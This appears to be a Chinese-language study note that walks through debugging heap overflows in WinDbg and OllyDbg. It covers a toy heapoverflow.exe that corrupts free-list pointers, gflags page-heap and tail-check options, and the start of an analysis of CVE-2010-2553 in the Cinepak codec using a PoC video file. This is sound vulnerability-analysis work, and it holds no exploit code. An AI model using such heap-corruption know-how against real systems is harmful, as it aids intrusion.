    0040104B  |.  83C4 04       add esp,0x4
    0040104E  |>  6A 10         push 0x10                                ; /dwBytes = 10 (16.)
    00401050  |.  6A 00         push 0x0                                 ; |dwFlags = 0
    00401052  |.  55            push ebp                                 ; |hHeap = 003A0000
    00401053  |.  FF15 08604000 call dword ptr ds:[<&KERNEL32.HeapAlloc>>; \RtlAllocateHeap
    00401059  |.  8BD8          mov ebx,eax
    0040105B  |.  53            push ebx
    0040105C  |.  68 30704000   push heapover.00407030                   ;  ASCII "heap addr:0x%08x
    "
    00401061  |.  E8 4A000000   call heapover.004010B0
    00401066  |.  8D7C24 18     lea edi,dword ptr ss:[esp+0x18]
    0040106A  |.  83C9 FF       or ecx,-0x1
    0040106D  |.  33C0          xor eax,eax
    0040106F  |.  83C4 08       add esp,0x8
    00401072  |.  F2:AE         repne scas byte ptr es:[edi]
    00401074  |.  F7D1          not ecx                                  ;  heapover.00409E41
    00401076  |.  2BF9          sub edi,ecx                              ;  heapover.00409E41
    00401078  |.  53            push ebx                                 ; /pMemory = 7FFDD000
    00401079  |.  8BC1          mov eax,ecx                              ; |heapover.00409E41
    0040107B  |.  8BF7          mov esi,edi                              ; |
    0040107D  |.  8BFB          mov edi,ebx                              ; |
    0040107F  |.  6A 00         push 0x0                                 ; |Flags = 0
    00401081  |.  C1E9 02       shr ecx,0x2                              ; |
    00401084  |.  F3:A5         rep movs dword ptr es:[edi],dword ptr ds>; |
    00401086  |.  8BC8          mov ecx,eax                              ; |
    00401088  |.  55            push ebp                                 ; |hHeap = 003A0000
    00401089  |.  83E1 03       and ecx,0x3                              ; |
    0040108C  |.  F3:A4         rep movs byte ptr es:[edi],byte ptr ds:[>; |
    0040108E  |.  FF15 04604000 call dword ptr ds:[<&KERNEL32.HeapFree>] ; \HeapFree
    00401094  |.  55            push ebp                                 ; /hHeap = 003A0000
    00401095  |.  FF15 00604000 call dword ptr ds:[<&KERNEL32.HeapDestro>; \HeapDestroy
    0040109B  |.  5F            pop edi                                  ;  heapover.00407068
    0040109C  |.  5E            pop esi                                  ;  heapover.00407068
    0040109D  |.  5D            pop ebp                                  ;  heapover.00407068
    0040109E  |.  33C0          xor eax,eax
    004010A0  |.  5B            pop ebx                                  ;  heapover.00407068
    004010A1  |.  83C4 24       add esp,0x24
    004010A4  \.  C3            retn

退出od
重新运行heapoverflow.exe,windbg附加
bp 0x40104b
g
在exe中随意输入字符并回车
windbg中断在断点处:
    Breakpoint 0 hit
    eax=00000031 ebx=7efde000 ecx=00409e41 edx=00000101 esi=00407065 edi=0018ff49
    eip=0040104b esp=0018ff14 ebp=00870000 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
    heapoverflow+0x104b:
    0040104b 83c404          add     esp,4
t
t
...
(eip=401053)
    此时还没执行HeapAlloc(hHeap,0,0x10)
!heap -h
    0:000> !heap -h
    Index   Address  Name      Debugging options enabled
      1:   00590000 
        Segment at 00590000 to 00690000 (00007000 bytes committed)
      2:   00240000 
        Segment at 00240000 to 00250000 (00002000 bytes committed)
      3:   00870000 
        Segment at 00870000 to 00880000 (00001000 bytes committed)

dt _HEAP 870000
    +0x0c4 FreeLists        : _LIST_ENTRY [ 0x870590 - 0x870590 ] ==>说明0x870590处是free[0]空表的第一个堆块
    此时free[0]空表偏移不再是0x178处,而是0x0c4处
dt _LIST_ENTRY 8700c4
    0:000> dt _LIST_ENTRY 870590
    ntdll!_LIST_ENTRY
     [ 0x8700c4 - 0x8700c4 ]
       +0x000 Flink            : 0x008700c4 _LIST_ENTRY [ 0x870590 - 0x870590 ]
       +0x004 Blink            : 0x008700c4 _LIST_ENTRY [ 0x870590 - 0x870590 ]

t
    此时进入了HeapAlloc函数内部
shift+f11
    执行到跳出HeapAlloc函数(系统领域)到当上一层函数
(eip=401059)
    此时堆分配完成
    dt _heap 870000
        +0x0c4 FreeLists        : _LIST_ENTRY [ 0x8705a8 - 0x8705a8 ]
    这个结果表明free[0]空表的第一个堆快不再是原来的0x870590,而变成了0x8705a8
    dt _LIST_ENTRY 8705a8
        0:000> dt _LIST_ENTRY 8705a8
        ntdll!_LIST_ENTRY
         [ 0x8700c4 - 0x8700c4 ]
           +0x000 Flink            : 0x008700c4 _LIST_ENTRY [ 0x8705a8 - 0x8705a8 ]
           +0x004 Blink            : 0x008700c4 _LIST_ENTRY [ 0x8705a8 - 0x8705a8 ]
    查看寄存器也可以看到eax=870590(原来的free[0]空表中的第一个堆块的索引值),也即源代码中的heap=HeapAlloc(hHeap,0,0x10)
    分配到的堆的索引为870590,那么heap_entry结构在870590-8=870588处
    dt _HEAP_ENTRY 870590
        0:000> dt _heap_entry 870590
        ntdll!_HEAP_ENTRY
           +0x000 Size             : 0xc4
           +0x002 Flags            : 0x87 ''
           +0x003 SmallTagIndex    : 0 ''
           +0x000 SubSegmentCode   : 0x008700c4 
           +0x004 PreviousSize     : 0xc4
           +0x006 SegmentOffset    : 0x87 ''
           +0x006 LFHFlags         : 0x87 ''
           +0x007 UnusedBytes      : 0 ''
           +0x000 FunctionIndex    : 0xc4
           +0x002 ContextValue     : 0x87
           +0x000 InterceptorValue : 0x8700c4
           +0x004 UnusedBytesLength : 0xc4
           +0x006 EntryOffset      : 0x87 ''
           +0x007 ExtendedBlockSignature : 0 ''
           +0x000 Code1            : 0x8700c4
           +0x004 Code2            : 0xc4
           +0x006 Code3            : 0x87 ''
           +0x007 Code4            : 0 ''
           +0x000 AgregateCode     : 0x8700c4`008700c4
    发现前两个字节并不是3(HeapAlloc分配0x10+8=3*8共3个堆单元大小的空间),对照泉哥书中的命令,发现查看命令应该是
    !heap -p -a 870588,而不是我认为的dt _heap_entry 870590,后来在这篇文章中找到同样的问题,说是"nt6以后,heap结构
    变得不小,dt heap_entry是无法看到的,貌似heap_entry做了编码"
        http://www.cppblog.com/ay19880703/archive/2011/10/30/159364.html
    于是用书中的!heap -p -a 870588查看heap_entry结构
    !heap -p -a 870588
        0:000> !heap -p -a 870588
            address 00870588 found in
            _HEAP @ 870000
              HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
                00870588 0003 0000  [00]   00870590    00010 - (busy)
    能够正常查看heap_entry的信息,当前堆块大小为3,上一堆块大小为0
    !heap
        0:000> !heap
        Index   Address  Name      Debugging options enabled
          1:   00590000                
          2:   00240000                
          3:   00870000 
    !heap -a 870000
        Heap entries for Segment00 in Heap 00870000
            00870000: 00000 . 00588 [101] - busy (587)
            00870588: 00588 . 00018 [101] - busy (10)
            008705a0: 00018 . 00a40 [100]
            00870fe0: 00a40 . 00020 [111] - busy (1d)
            00871000:      0000f000      - uncommitted bytes.
    从这里看出heap堆的地址为870588,而不是870590,这与0day2中堆块的索引为heap_entry(占用态)或者heap_free_entry
    (空闲堆块)的地址有点不同,这里的!heap -a 870000得到的"entries"如果理解成"索引"会指向heap_entry-8或者是
    heap_free_entry-8的堆块块首处,这里的entries按"入口"来理解比较好,从上面也可看出870588下一个堆块是个空闲堆块,
    而且这个空闲堆块的入口是8705a0(与上面的HeapAlloc分配后free[0]空表的第一个堆块的索引为8705a8正好对应)
    与上面的dt _heap_entry一样的是dt _heap_free_entry也不能得到想要的数据下,如下:
    dt _heap_free_entry 8705a0
        0:000> dt _heap_free_entry 8705a0
        ntdll!_HEAP_FREE_ENTRY
           +0x000 Size             : 0x38a0
           +0x002 Flags            : 0x39 '9'
           +0x003 SmallTagIndex    : 0x1e ''
           +0x000 SubSegmentCode   : 0x1e3938a0 
           +0x004 PreviousSize     : 0x81cd    =====>这里应该是3
           +0x006 SegmentOffset    : 0 ''
           +0x006 LFHFlags         : 0 ''
           +0x007 UnusedBytes      : 0 ''
           +0x000 FunctionIndex    : 0x38a0
           +0x002 ContextValue     : 0x1e39
           +0x000 InterceptorValue : 0x1e3938a0
           +0x004 UnusedBytesLength : 0x81cd
           +0x006 EntryOffset      : 0 ''
           +0x007 ExtendedBlockSignature : 0 ''
           +0x000 Code1            : 0x1e3938a0
           +0x004 Code2            : 0x81cd
           +0x006 Code3            : 0 ''
           +0x007 Code4            : 0 ''
           +0x000 AgregateCode     : 0x81cd`1e3938a0
           +0x008 FreeList         : _LIST_ENTRY [ 0x8700c4 - 0x8700c4 ]
    在+04的偏移处的值是上一个堆块的大小,上一个堆块的大小应该是3,这里确不是,说明dt _heap_free_entry和dt
    _heap_entry在win7 x64位上都已经不再有用了,dt _list_entry 8705a0+8还是可以用的,也即_list_entry没有变,如下:
    dt _list_entry 8705a0+8
        0:000> dt _list_entry 8705a0+8
        ntdll!_LIST_ENTRY
         [ 0x8700c4 - 0x8700c4 ]
           +0x000 Flink            : 0x008700c4 _LIST_ENTRY [ 0x8705a8 - 0x8705a8 ]
           +0x004 Blink            : 0x008700c4 _LIST_ENTRY [ 0x8705a8 - 0x8705a8 ]       
    _list_entry可以正常显示

p
p
p
...
(eip=401084)
    此处对应的是如下的strcpy的复制过程
    00401084 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
    此时查看esi和esi中的内容如下:
    dd edi
        0:000> dd edi
        00870590  008700c4 008700c4 00000000 00000000
        008705a0  1e3938a0 000081cd 008700c4 008700c4
        008705b0  00000000 00000000 00000000 00000000
        008705c0  00000000 00000000 00000000 00000000
        008705d0  00000000 00000000 00000000 00000000
        008705e0  00000000 00000000 00000000 00000000
        008705f0  00000000 00000000 00000000 00000000
        00870600  00000000 00000000 00000000 00000000
    dd esi
        0:000> dd esi
        0018ff28  41414141 41414141 41414141 41414141
        0018ff38  41414141 41414141 41414141 41414141
        0018ff48  00407000 00401327 00000001 00240f48
        0018ff58  00240f90 00000000 00000000 7efde000
        0018ff68  00000000 00000000 0018ff5c 00000000
        0018ff78  0018ffc4 00402c50 004060b8 00000000
        0018ff88  0018ff94 7563338a 7efde000 0018ffd4
        0018ff98  772f9a02 7efde000 204f7149 00000000
p
(eip=401086)
    此时复制完成,此时的空闲堆块8705a0(索引为8705a8,堆入口为8705a0)
    看看空闲堆块变成什么了
    dt _heap_free_entry 8705a0
        0:000> dt _heap_free_entry 8705a0
        ntdll!_HEAP_FREE_ENTRY
           +0x000 Size             : 0x4141
           +0x002 Flags            : 0x41 'A'
           +0x003 SmallTagIndex    : 0x41 'A'
           +0x000 SubSegmentCode   : 0x41414141 
           +0x004 PreviousSize     : 0x4141
           +0x006 SegmentOffset    : 0x41 'A'
           +0x006 LFHFlags         : 0x41 'A'
           +0x007 UnusedBytes      : 0x41 'A'
           +0x000 FunctionIndex    : 0x4141
           +0x002 ContextValue     : 0x4141
           +0x000 InterceptorValue : 0x41414141
           +0x004 UnusedBytesLength : 0x4141
           +0x006 EntryOffset      : 0x41 'A'
           +0x007 ExtendedBlockSignature : 0x41 'A'
           +0x000 Code1            : 0x41414141
           +0x004 Code2            : 0x4141
           +0x006 Code3            : 0x41 'A'
           +0x007 Code4            : 0x41 'A'
           +0x000 AgregateCode     : 0x41414141`41414141
           +0x008 FreeList         : _LIST_ENTRY [ 0x41414141 - 0x41414141 ]
    8705a0堆块头以及后面的FreeList中的前后向指针都被上面的esi中的414141...41覆盖了,可想后面再执行HeapFree释放已
    分配的heap堆块时,会将heap堆块与后面的空闲堆块8705a0进行合并,修改两个合并堆块的前后向指针,此时就会引用到
    0x41414141,最后造成崩溃.如果将上面释放堆块的操作换成分配堆块HeapAlloc(hHeap,0,0x10)也会导致崩溃,因为在分配
    堆块时会去遍历空闲链表指针,造成地址引用异常.这里由于只是分配了一个堆块(代码中为HeapAlloc(hHeap,0,0x10)),这
    一个唯一分配的堆块后面的堆块是剩下的空闲堆块,如果分配多个堆块,先被覆盖的就是多个堆块中的下一个堆块了,一般
    不会覆盖到空闲堆块,如果空闲堆块被覆盖,说明所有的已分配堆块都被覆盖了,因为空闲堆块在所有已分配堆块的最后.


在这里可以通过对heapoverflow添加调试选项用于辅助堆调试,可使用windbg提供的gflags.exe(位于Debugging Tools for
windows目录下)或者!gflag命令设置,下面是常见的调试选项:
    htc:堆尾检查,在堆块末尾附加额外的标记信息(通常为8字节),且于检查堆块是否发生溢出
    hfc:堆释放检查,在释放堆块时对堆进行各种检查,防止多次释放同一个堆块
    hpc:堆参数检查,对传递给堆管理的参数进行更多的检查
    ust:用户态栈回溯,即将每次调用堆函数的函数调用信息记录到一个数据库中
    htg:堆标志,为堆块添加附加标记,以记录堆块的使用情况或其他信息
    hvc:调用时验证,即每次调用堆函数时都对整个堆进行验证和检查
    hpa:启用页堆,在堆块后增加专门用于检测溢出的栅栏页,若发生堆溢出触及栅栏页便会立刻触发异常

    使用方法:
    eg.在windbg命令中输入:(win7需要管理员身份)
            !gflag -i app.exe +htc +hpa -htg
       在cmd中输入:(win7需要管理员身份)
            gflags -i app.exe +htc +hpa -htg
一般堆尾检查主要是在每个堆块的尾部,即用户数据之后添加8字节内容,通常为连续的2个0xabababab,如果该段数据被破坏就
说明可能存在堆溢出.这里在heapoverflow.exe中开启htc和hpc,具体过程如下:

windbg中ctrl+e选择heapoverflow.exe
    也即windbg加载heapoverflow.exe,如果是附加而不是加载,就无法在堆尾添加额外的标记信息,即无法进行堆尾检查
!gflag +htc +hpc
    0:000> !gflag +hpc +htc
    New NtGlobalFlag contents: 0x00000050
        htc - Enable heap tail checking
        hpc - Enable heap parameter checking
g
    在windbg中输入g,并在heapoverflow.exe窗口中随意输入字符并回车,结果如下:
        0:000> g
        HEAP[heapoverflow.exe]: Heap block at 007C0588 modified at 007C05A0 past requested size of 10
        (1b4.11c0): Break instruction exception - code 80000003 (first chance)
        eax=007c0588 ebx=007c05a0 ecx=7733418f edx=0018fb15 esi=007c0588 edi=00000010
        eip=7739152c esp=0018fd5c ebp=0018fd5c iopl=0         nv up ei pl nz na po nc
        cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
        ntdll!RtlpBreakPointHeap+0x23:
        7739152c cc              int     3
    结果中的heap block at 7c0588 modified at 7c05a0 past requested size of 10的意思是在堆块7c0588中,有个地址
    7c05a0被修改,因为超过了原来申请的10个字节大小.这里实际分配了24个字节大小,正好是7c05a0-7c0588=0x18的值

通过这里的调试信息,大体可以判断出堆溢出主要是由于向大小为0x10的堆中复制了过多的数据导致的,但是并不能定位到导致
漏洞的汇编指令,比如导致堆溢出的字节复制指令rep movsz等,而这里的堆尾检查方式主要是堆被破坏后的场景,不利于定位
导致漏洞的代码,可以通过使用页堆调试选项定位漏洞指令,具体如下操作:

windbg加载heapoverflow.exe
!gflag +hpa
    0:000> !gflag +hpa
    New NtGlobalFlag contents: 0x02000000
        hpa - Place heap allocations at ends of pages
g
    在windbg中输入g,并存heapoverflow.exe中输入任意字符并回车,结果如下:
        0:000> g
        (1074.e3c): Access violation - code c0000005 (first chance)
        First chance exceptions are reported before any exception handling.
        This exception may be expected and handled.
        eax=002705a8 ebx=00000000 ecx=41414141 edx=00270590 esi=00270588 edi=00270000
        eip=772f2fe5 esp=0018fdf0 ebp=0018fed0 iopl=0         nv up ei ng nz na po cy
        cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010283
        ntdll!RtlpFreeHeap+0x4d6:
        772f2fe5 8b19            mov     ebx,dword ptr [ecx]  ds:002b:41414141=????????

kb
    0:000> kb
    ChildEBP RetAddr  Args to Child              
    0018fed0 772f2ce5 00270588 00270590 0018ff49 ntdll!RtlpFreeHeap+0x4d6
    0018fef0 756314bd 00270000 00000000 00270590 ntdll!RtlFreeHeap+0x142
    *** WARNING: Unable to verify checksum for image00400000
    *** ERROR: Module load completed but symbols could not be loaded for image00400000
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0018ff04[00401094] 00270000 00000000 00270590 kernel32!HeapFree+0x14
    0018ff48[00401327]00000001 00540fe8 00541030 image00400000+0x1094
    0018ff88 7563338a 7efde000 0018ffd4 772f9a02 image00400000+0x1327
    0018ff94 772f9a02 7efde000 2fab3393 00000000 kernel32!BaseThreadInitThunk+0x12
    0018ffd4 772f99d5 00401273 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
    0018ffec 00000000 00401273 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b

    其中kb最后一列结果为kb命令执行的结果中的当前排的上一排中的RetAddr的值
ub image00400000+0x1094
    0:000> ub image00400000+0x1094
    image00400000+0x107f:
    0040107f 6a00            push    0
    00401081 c1e902          shr     ecx,2
    00401084 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
    00401086 8bc8            mov     ecx,eax
    00401088 55              push    ebp
    00401089 83e103          and     ecx,3
    0040108c f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
    0040108e ff1504604000    call    dword ptr [image00400000+0x6004 (00406004)]

ub image00400000+0x1327
    0:000> ub image00400000+0x1327
    image00400000+0x1301:
    00401301 e847120000      call    image00400000+0x254d (0040254d)
    00401306 e8af0e0000      call    image00400000+0x21ba (004021ba)
    0040130b a150994000      mov     eax,dword ptr [image00400000+0x9950 (00409950)]
    00401310 a354994000      mov     dword ptr [image00400000+0x9954 (00409954)],eax
    00401315 50              push    eax
    00401316 ff3548994000    push    dword ptr [image00400000+0x9948 (00409948)]
    0040131c ff3544994000    push    dword ptr [image00400000+0x9944 (00409944)]
    00401322 e8d9fcffff      call    image00400000+0x1000 (00401000)

    也即程序异常时是由于40108e处的call 406004这条汇编指令出了问题,而call 406004这句指令所在的函数帧执是401000
    函数帧.因为栈中压入的两个"返回到"的地址分别为401094和401327,而之所以会压入401094是因为已经执行到了40108e处
    的call 406004中的406004函数帧中的指令,但是4006004函数帧在没有返回之前异常了,说明401084处对应的strcpy已经执
    行完成,也即heap堆已经被覆盖,这里与《漏洞战争》书中不同,书中写的是没有覆盖,为了确定已分配的heap堆是否被
    覆盖,执行如下操作查看:

    !heap
        0:000> !heap
        Details:
        Error address: 002705a0
        Heap handle: 00270000
        Error type heap_failure_buffer_overrun (6)
        Last known valid blocks: before - 00270588, after - 00270fe0
        Stack trace:
                        7734acd3: ntdll!RtlpCoalesceFreeBlocks+0x0000084c
                        772f2dfa: ntdll!RtlpFreeHeap+0x000001f4
                        772f2ce5: ntdll!RtlFreeHeap+0x00000142
                        756314bd: kernel32!HeapFree+0x00000014
        Index   Address  Name      Debugging options enabled
          1:   005a0000                
          2:   00540000                
          3:   00270000   
    !heap -h 270000
        Heap entries for Segment00 in Heap 00270000
            00270000: 00000 . 00588 [101] - busy (587)
            00270588: 00588 . 00018 [00]                                   ===>对应分配的heap堆块
            002705a0: 41728 . 20a08 [41] - busy (1c8c7), user flags (2)    ===>对应空表对应的空闲堆块
        这里有点异常现象,一般来说最后一个堆块入口是空表对应的空闲堆块,这里"空闲堆块"却变成了占用态,而分配的
        heap堆块变成了"空闲"态
    dd 270588
        0:000> dd 270588
        00270588  02000003 0000c315 41414141 41414141
        00270598  41414141 41414141 41414141 41414141
        002705a8  41414141 41414141 00000000 00000000
        002705b8  00000000 00000000 00000000 00000000
        002705c8  00000000 00000000 00000000 00000000
        002705d8  00000000 00000000 00000000 00000000
        002705e8  00000000 00000000 00000000 00000000
        002705f8  00000000 00000000 00000000 00000000
        这里看出分配的heap堆块的确已经被覆盖了超过0x10长度的A
    dd 2705a0
        0:000> dd 2705a0
        002705a0  41414141 41414141 41414141 41414141
        002705b0  00000000 00000000 00000000 00000000
        002705c0  00000000 00000000 00000000 00000000
        002705d0  00000000 00000000 00000000 00000000
        002705e0  00000000 00000000 00000000 00000000
        002705f0  00000000 00000000 00000000 00000000
        00270600  00000000 00000000 00000000 00000000
        00270610  00000000 00000000 00000000 00000000
        这里结合上面的dd 270588的结果可以看出,上面分配的堆块被覆盖,且多余的A覆盖了空闲堆块的块首和flink及
        blink,说明的确是覆盖了的,只是就算覆盖了空闲堆块,依然能用!gflag +hpa定位漏洞指令,而之所以没有和书中说
        的没有覆盖后面的空闲堆块不同,大概是和作者的操作系统不同导致(这里用的是win7 x64,书中只说是win7),或者
        是其他原因.

0x02 cve-2010-2553分析

0x01 about

漏洞描述:
    Cinepak视频编解码器中的iccvid.dll中的CVDecompress函数在解压缩媒体文件时没有对缓冲区大小进行检测,导致在复制
    压缩数据时造成堆溢出

实验环境:
    win xp sp3
    windows media player
    turbodiff v1.01b

0x02 调试分析

1>attention

    书中p86页中的开启页堆的方法是先运行wmplayer.exe,windbg附加进程后再在windbg的命令输入框中输入!gflag +hpa,实
    际操作中会提示不能成功,右键以管理身份运行仍然不成功,可能是win xp或者是windbg和书中作者的有一点不同或其他原
    因,不过能通过cmd中gflags.exe -i wmplayer.exe +hpa成功设置页堆,书中p80中说的只能加载exe再在windbg中设置调试
    选项似乎与p86有矛盾,不过p80中是设置的堆尾的调试选项,这里暂且认为:

        a>堆尾只能用p80说的windbg加载未运行的exe后再通过windbf设置!gflag +htc +hpc实现
        b>页堆可以用p86说的windbg附加已经运行的exe后再设置!gflag +hpa实现
        c>实际操作中可能由于环境问题在本机的win xp sp3上只能通过系统cmd执行gflag.exe -i wmplayer.exe +hpa,运行
          wmplayer.exe,再用windbg附加exe进程实现,而这种方法应该是相当于a中的windbg加载的方法

2>操作

win+r:cmd
gflags.exe -i "C:\Program Files\Windows Media Player\wmplayer.exe" +hpa
    Current Registry Settings for wmplayer.exe executable are: 02000000
    hpa - Enable page heap
    这里没有用管理员完全身份运行cmd也可以成功

双击wmplayer.exe
windbg附加wmplayer.exe
!gflag
    0:003> !gflag
    Current NtGlobalFlag contents: 0x02000000
    hpa - Place heap allocations at ends of pages
    windbg中检查的确成功设置了hpa

g
wmplayer.exe窗口中打开poc.avi(配套资料)
    (2e8.644): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00006000 ebx=07d86fc0 ecx=00000800 edx=07a3fd38 esi=10279000 edi=1027b000
    eip=73b722cc esp=07a3fd04 ebp=07a3fd30 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    iccvid!CVDecompress+0x11e:
    73b722cc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:1027b000=???????? 
    ds:0023:10279000=00930093

kb
    0:010> kb
    ChildEBP RetAddr  Args to Child              
    07a3fd30 73b7cbf3 00000004 00000000 00000068 iccvid!CVDecompress+0x11e
    07a3fd60 73b766c8 07e0ef60 00000000 07e24fd8 iccvid!Decompress+0x11d
    07a3fdac 73b41938 07e0ef60 00000001 0000400d iccvid!DriverProc+0x1bf
    07a3fdd0 7cf8fa9e 73b5b500 0000400d 07a3fde8 MSVFW32!ICSendMessage+0x2b
    07a3fe00 7cf8f9e9 73b5b500 00000000 07e24fd8 quartz!CVFWDynLink::ICDecompress+0x3e
    07a3fec0 7cf90a55 07cf6fa8 06daac90 00000000 quartz!CAVIDec::Transform+0x282
    07a3feec 7cf90939 07cf6fa8 00000000 06dfaee0 quartz!CVideoTransformFilter::Receive+0x110
    07a3ff00 7cf8e67a 0802cf44 07cf6fa8 07a3ff40 quartz!CTransformInputPin::Receive+0x33
    07a3ff10 7cf90ca0 07cf6fa8 00040103 06dfaee0 quartz!CBaseOutputPin::Deliver+0x22
    07a3ff40 7cf90e1c 07a3ff70 07a3ff6c 7c984d69 quartz!CBaseMSRWorker::TryDeliverSample+0x102
    07a3ff84 7cf8ce30 7c984d69 06dfaee0 06dfaee0 quartz!CBaseMSRWorker::PushLoop+0x15e
    07a3ff9c 7cf8dbe6 00000000 7cf8a121 7c984d69 quartz!CBaseMSRWorker::DoRunLoop+0x4a
    07a3ffa4 7cf8a121 7c984d69 00000010 07a3ffec quartz!CBaseMSRWorker::ThreadProc+0x39
    07a3ffb4 7c80b713 06dfaee0 7c984d69 00000010 quartz!CAMThread::InitialThreadProc+0x15
    07a3ffec 00000000 7cf8a10c 06dfaee0 00000000 kernel32!BaseThreadStart+0x37


ub 73b7cbf3
或者
ub iccvid!Decompress+0x11d
    0:010> ub iccvid!Decompress+0x11d
    iccvid!Decompress+0x102:
    73b7cbd8 ffb698000000    push    dword ptr [esi+98h]
    73b7cbde 57              push    edi
    73b7cbdf ff7528          push    dword ptr [ebp+28h]
    73b7cbe2 ff752c          push    dword ptr [ebp+2Ch]
    73b7cbe5 ff7530          push    dword ptr [ebp+30h]
    73b7cbe8 ff7514          push    dword ptr [ebp+14h]
    73b7cbeb ff765c          push    dword ptr [esi+5Ch]
    73b7cbee e8bb55ffff      call    iccvid!CVDecompress (73b721ae)

ub 73b766c8
或者
ub iccvid!DriverProc+0x1bf
    0:010> ub iccvid!DriverProc+0x1bf
    iccvid!DriverProc+0x1ae:
    73b766b7 52              push    edx
    73b766b8 51              push    ecx
    73b766b9 51              push    ecx
    73b766ba ff7008          push    dword ptr [eax+8]
    73b766bd ff7004          push    dword ptr [eax+4]
    73b766c0 ff30            push    dword ptr [eax]
    73b766c2 56              push    esi
    73b766c3 e80e640000      call    iccvid!Decompress (73b7cad6)

    这里对栈中最近的两个返回地址以上部分进行反汇编,通过上面结果可以看出:
    73b722cc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:1027b000=???????? 
    ds:0023:10279000=00930093 这里异常时eip=73b722cc是属于函数73b721ae中的一句指令,而73b7cbee处的call 73b721ae
    这一条指令所在的函数帧正是73b7cad6函数帧,可通过查看|分解|Offset:73b721ae验证

现在需要在73b7cbee处下断点,但是iccvid.dll只有在wmplayer.exe打开poc.avi时才加载,这里有两种方法实现下断:
    a>在od或immunity debugger中单独加载iccvid.dll,并在73b7cbee上下断点后再用od或immunity debugger附加
      wmplayer.exe进行分析
    b>在windbg中重新附加wmplayer.exe,并执行sxe ld:iccvid.dll,也即在iccvid.dll第一次被加载的时候中断,中断后再在
      windbg中执行bp 73b7cbee

    这里采用第二种方法,详细操作如下

win+r:cmd
gflags -i "C:\Program Files\Windows Media Player\wmplayer.exe" -hpa
    Current Registry Settings for wmplayer.exe executable are: 00000000
双击运行wmplayer.exe
windbg附加wmplayer.exe
!gflag
    0:003> !gflag
    Current NtGlobalFlag contents: 0x00000000
    如果上面没有先执行gflags.exe -i ...wmplayer.exe -hpa,这里在windbg中执行完!gflag后结果中会显示hpa页堆还存在
sxe ld:iccvid.dll
sx
    0:003> sx
      ct - Create thread - ignore
      et - Exit thread - ignore
     cpr - Create process - ignore
     epr - Exit process - break
      ld - Load module - break
           (only break for iccvid.dll)
g
在wmplayer.exe窗口中打开poc.avi
    0:003> g
    ModLoad: 73b70000 73b87000   C:\WINDOWS\system32\iccvid.dll
    eax=00000001 ebx=00000000 ecx=00000044 edx=000a2ed0 esi=00000000 edi=00000000
    eip=7c92e4f4 esp=0237e28c ebp=0237e380 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    ntdll!KiFastSystemCallRet:
    7c92e4f4 c3              ret

lmm iccvid v
    0:007> lmm iccvid v
    start    end        module name
    73b70000 73b87000   iccvid     (deferred)             
        Image path: C:\WINDOWS\system32\iccvid.dll
        Image name: iccvid.dll
        Timestamp:        Mon Apr 14 10:12:25 2008 (4802BD89)
        CheckSum:         000219FF
        ImageSize:        00017000
        File version:     1.10.0.12
        Product version:  1.10.0.0
        File flags:       0 (Mask 3F)
        File OS:          40004 NT Win32
        File type:        3.8 Driver
        File date:        00000000.00000000
        Translations:     0409.04e4
        CompanyName:      Radius Inc.
        ProductName:      Cinepak for Windows 32
        InternalName:     iccvid
        OriginalFilename: iccvid.drv
        ProductVersion:   1.10.0.0
        FileVersion:      1.10.0.11
        FileDescription:  Cinepak® Codec
        LegalCopyright:   Copyright © 1992-1995 Radius Inc., All Rights Reserved
        LegalTrademarks:  Cinepak® is a trademark of Radius Inc.
    查看iccvid模块的详细信息,这里不能写成lmm iccvid.dll v,那样不会找到iccvid模块

bp 73b7cbee

bl
    0:007> bl
     0 e 73b7cbee     0001 (0001)  0:**** iccvid!Decompress+0x118
g
    0:007> g
    Breakpoint 0 hit
    eax=00000001 ebx=0ac5fd88 ecx=0005e2c0 edx=fffffee0 esi=0011db50 edi=0a9c0050
    eip=73b7cbee esp=0ac5fd38 ebp=0ac5fd60 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    iccvid!Decompress+0x118:
    73b7cbee e8bb55ffff      call    iccvid!CVDecompress (73b721ae)

bp 73b722cc
    这个地址是上面通过设置hpa添加页堆捕捉到的异常处的指令
    73b722cc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:1027b000=???????? 

g
    0:010> g
    Breakpoint 1 hit
    eax=00002000 ebx=0a93d330 ecx=00000800 edx=0aa5fd38 esi=00147008 edi=00149008
    eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    iccvid!CVDecompress+0x11e:
    *** ERROR: Module load completed but symbols could not be loaded for C:\WINDOWS\system32\wmploc.dll
    73b722cc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00149008=00000000 
    ds:0023:00147008=00930093

?edi;?esi
    0:010> ?edi;?esi
    Evaluate expression: 1347592 = 00149008
    Evaluate expression: 1339400 = 00147008
    也即edi=149008,esi=147008

!heap -p -a 149008
    0:010> !heap -p -a 149008
        address 00149008 found in
        _HEAP @ a0000
          HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            00147000 0c01 0000  [01]   00147008    06000 - (busy)
              ? wmploc+20093
    说明edi属于a0000堆的147000堆块,这个堆块是占用态,这个堆块从1470008到147008+6000=14D008为这个堆块的数据区

!heap -p -a 147008
    0:010> !heap -p -a 147008
        address 00147008 found in
        _HEAP @ a0000
          HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
